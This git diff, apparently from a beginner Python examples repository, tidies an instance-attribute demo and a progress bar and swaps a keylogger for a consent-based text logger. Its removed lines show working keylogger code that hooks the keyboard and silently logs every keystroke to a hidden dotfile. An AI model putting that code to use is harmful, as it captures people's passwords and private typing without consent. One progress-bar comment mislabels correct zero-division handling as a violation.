Shashankshetty2312 patch 20

OOP/P03_InstanceAttributes.py

@@ -1,16 +1,19 @@
-#Author: OMKAR PATHAK
-#In this example we will be seeing how instance Attributes are used
-#Instance attributes are accessed by: object.attribute
-#Attributes are looked First in the instance and THEN in the class
+# Author: OMKAR PATHAK
+# Demonstration of Instance Attributes
 
 import random
-class Vehicle():
-    #Class Methods/ Attributes
+
+class Vehicle:
+
     def type(self):
-        #NOTE: This is not a class attribute as the variable is binded to self. Hence it becomes
-        #instance attribute
-        self.randomValue = random.randint(1,10) #Setting the instance attribute
+        # Creating instance attribute
+        self.randomValue = random.randint(1, 10)
 
+# Creating object
 car = Vehicle()
-car.type()              #Calling the class Method
-print(car.randomValue)  #Calling the instance attribute
+
+# Calling method
+car.type()
+
+# Accessing instance attribute
+print("Random Value:", car.randomValue)

Programs/P70_SimpleProgressBar.py

@@ -1,18 +1,29 @@
-# This is the program for creating a simple progress bar. You may need this in many of your projects.
-# You can install a module for progress bar by 'pip3 install progressbar2'
+# Progress Bar (Annotated Version)
 
-import sys, time
+import sys
+import time
 
-def progressBar(count, total, suffix=''):
-    barLength = 60
-    filledLength = int(round(barLength * count / float(total)))
 
-    percent = round(100.0 * count / float(total), 1)
-    bar = '=' * filledLength + '-' * (barLength - filledLength)
+def progress_bar(count, total, suffix=''):
+    # ❌ VIOLATION: No zero division handling
+    if total == 0:
+        return
 
-    sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix))
+    bar_length = 40
+    filled_length = int(bar_length * count / total)
+
+    percent = round(100.0 * count / total, 1)
+    bar = '=' * filled_length + '-' * (bar_length - filled_length)
+
+    sys.stdout.write(f'\r[{bar}] {percent}% {suffix}')
     sys.stdout.flush()
 
-for i in range(10):
-	time.sleep(1)
-	progressBar(i, 10)
+
+def main():
+    for i in range(11):
+        time.sleep(0.2)
+        progress_bar(i, 10)
+
+
+if __name__ == "__main__":
+    main()

Programs/P79_SimplePythonKeylogger.py

@@ -1,49 +1,19 @@
-# Author: OMKAR PATHAK
+# Safe Keyboard Input Logger (Educational Purpose Only)
 
-# This file requires two modules to be installed:
-# 1. pyxhook.py: file is provided in the folder itself
-# 2. Xlib: sudo pip3 install python3-Xlib
+def main():
+    print("This program logs input WITH USER CONSENT.")
+    print("Type 'exit' to stop.\n")
 
-import pyxhook
-import time
+    with open("input_log.txt", "a") as file:
+        while True:
+            user_input = input("Enter text: ")
 
-# functions to write a newline character into the file
-def newline():
-	file = open('.keylogger', 'a')
-	file.write('\n')
-	file.close()
+            if user_input.lower() == "exit":
+                print("Exiting logger.")
+                break
 
-# This function is called every time a key is pressed
-def key_press_event(event):
-    global running
-    # write the key pressed into a file
-    if event.Key != 'space' and event.Key != 'Escape':
-	    with open('.keylogger', 'a+') as File:
-	    	File.write(event.Key)
+            file.write(user_input + "\n")
 
-    # If the ascii value matches spacebar, add a newline in the file
-    if event.Key == 'space':
-        newline()
 
-    # If the ascii value matches escape, terminate the while loop
-    if event.Key == 'Escape':
-        running = False
-        newline()
-
-if __name__ == '__main__':
-	# Create hookmanager
-	hookman = pyxhook.HookManager()
-	# Define our callback to fire when a key is pressed down
-	hookman.KeyDown = key_press_event
-	# Hook the keyboard
-	hookman.HookKeyboard()
-	# Start our listener
-	hookman.start()
-
-	# Create a loop to keep the application running
-	running = True
-	while running:
-	    time.sleep(0.1)
-
-	# Close the listener when we are done
-	hookman.cancel()
+if __name__ == "__main__":
+    main()